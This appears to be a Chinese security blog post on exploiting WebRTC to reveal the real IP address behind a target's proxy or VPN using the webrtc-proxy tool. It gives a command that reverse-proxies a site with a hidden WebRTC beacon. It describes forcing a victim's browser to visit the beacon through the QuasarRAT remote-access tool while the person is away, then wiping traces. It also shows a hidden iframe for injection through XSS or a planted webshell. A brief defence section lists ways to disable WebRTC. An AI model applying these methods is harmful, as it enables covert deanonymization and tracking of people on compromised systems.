0x00 前言
最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。
目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。
0x01 泄露原因
浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC。
0x02 在线检测
WebRTC可怕之处在于,即使我们使用VP嗯、或者通过小飞机、v2rayN等进行全局代理后仍会泄露我们的真实IP,可以用以下几个网址来检测,如下图所示。
https://ip8.com/webrtc-test https://www.hackjie.com/tracking https://browserleaks.com/webrtc https://surfshark.com/zh/webrtc-leak-test
注:群里几个小伙伴用他们的VP嗯也测试了下,但发现并没有显示真实IP,有时只会显示一个内网IP;由于我没有VP嗯就不测试了,大家有的可以自己去测试下。
0x03 项目介绍
简单介绍下@iiiusky师傅的webrtc-proxy项目,它是通过 "反向代理 + webrtc" 的方式在对方神不知鬼不觉的情况下获取对方的真实IP,具体参数说明可见下图。
项目地址:https://github.com/iiiusky/webrtc-proxy
0x04 实战场景
搞攻防演练和做HC的基本都会挂代理来隐藏自己的真实IP,那么我们又该如何获取他们的真实IP呢?仅提供几种场景下的利用思路,实战还得根据所遇到的场景测试。
1. 钓鱼场景利用
假设我们在攻防演练中通过反制手段拿到红队主机权限,或者通过钓鱼方式拿到某BC客服、技术、代理的主机权限,这时就可以利用webrtc-proxy获取对方的真实IP。
执行以下命令可反代指定网站并生成一个webrtc地址以隐藏形式插入到body标签中,不过我们最好还是反代他们自己网站或者常用网站,要不容易被管理发现异常。
./WebRtc -d 1.***.**.84 -t https://www.baidu.com -p 80 --disable-random-log
因为要通过他们主机的浏览器去访问我们的反代地址,有啥浏览器就用啥吧,但最好还是先观察下对方是否在电脑前,趁其不在时再去操作。
反正也就“3秒”的事,等完事了再“擦擦”...。
这里我用的QuasarRAT开源远控进行测试,通过“Sent to Website”功能使用他们主机的默认浏览器访问反代地址或webrtc地址,但需要将“隐藏访问”选项取消勾选。
执行以上操作后对方主机就会使用默认浏览器访问我们给定的这个网址,这时可以看到已经成功获取到他代理背后的真实IP了,如下图所示。
反向代理开启后会在当前目录下生成两个日志文件,access为访问日志,另一个为webrtc日志,找到的真实IP就会写入在这个文件中,如下图所示。
注意事项:
- 我们也尝试了一些浏览器的静默访问方法,但都只能获取到代理IP,无法获取到真实IP,好像是因为没能加载反代中的webrtc吧,没找到更好的静默访问方法,暂时只能这样了。补充:最近了解到一个叫HVNC的东东,理论上应该是可行的,但我并没有去测试;国外大多数RAT都有这功能,如:Venom RAT,大家可以自己去测试下。HVNC!隐藏桌面CobaltStrike插件
- 为什么不直接RDP进去使用在线检测网址获取真实IP呢?因为这样动静太大,更容易被管理发现,因为登录RDP产生的日志更多,可能会触发防护的登录提醒而导致权限丢失。
2. 漏洞场景利用
当挖到xss、csrf、上传等漏洞时就可以通过构造payload插入我们的webrtc地址来获取对方的真实IP,只要他通过浏览器访问了我们的webrtc时即可获取到真实IP。
title="Damn Vulnerable Web Application (DVWA)-v1.9"
或者通过某些漏洞拿到webshell权限后可以在管理、代理后台登录页的源代码中插入我们的webrtc,直接用以下代码即可,等待他们访问后台时即可获取到真实IP。
<iframe style="display:none;" src="webrtc"></iframe>
0x05 防范措施
谷歌、火狐浏览器可通过安装WebRTC Leak Shield插件禁用webrtc;也可以通过以下方式禁用webrtc。
about:config,将media.peerconnection.enabled值改为false;
0x06 文末总结
简单介绍了几个常见场景下通过webrtc获取真实IP的利用思路,可根据挖到的漏洞和已拿到的权限分为主动和被动,主动就是高权限时通过他们的浏览器主动去访问,被动就是xss、csrf、上传漏洞及Webshell等,需要等待管理员自己去访问。这里我们只是在本地模拟实战场景进行了简单的测试,大家在实战应用时还可以申请一个与目标站类似域名做个解析,再搭配一个CDN简单隐藏下VPS的IP......。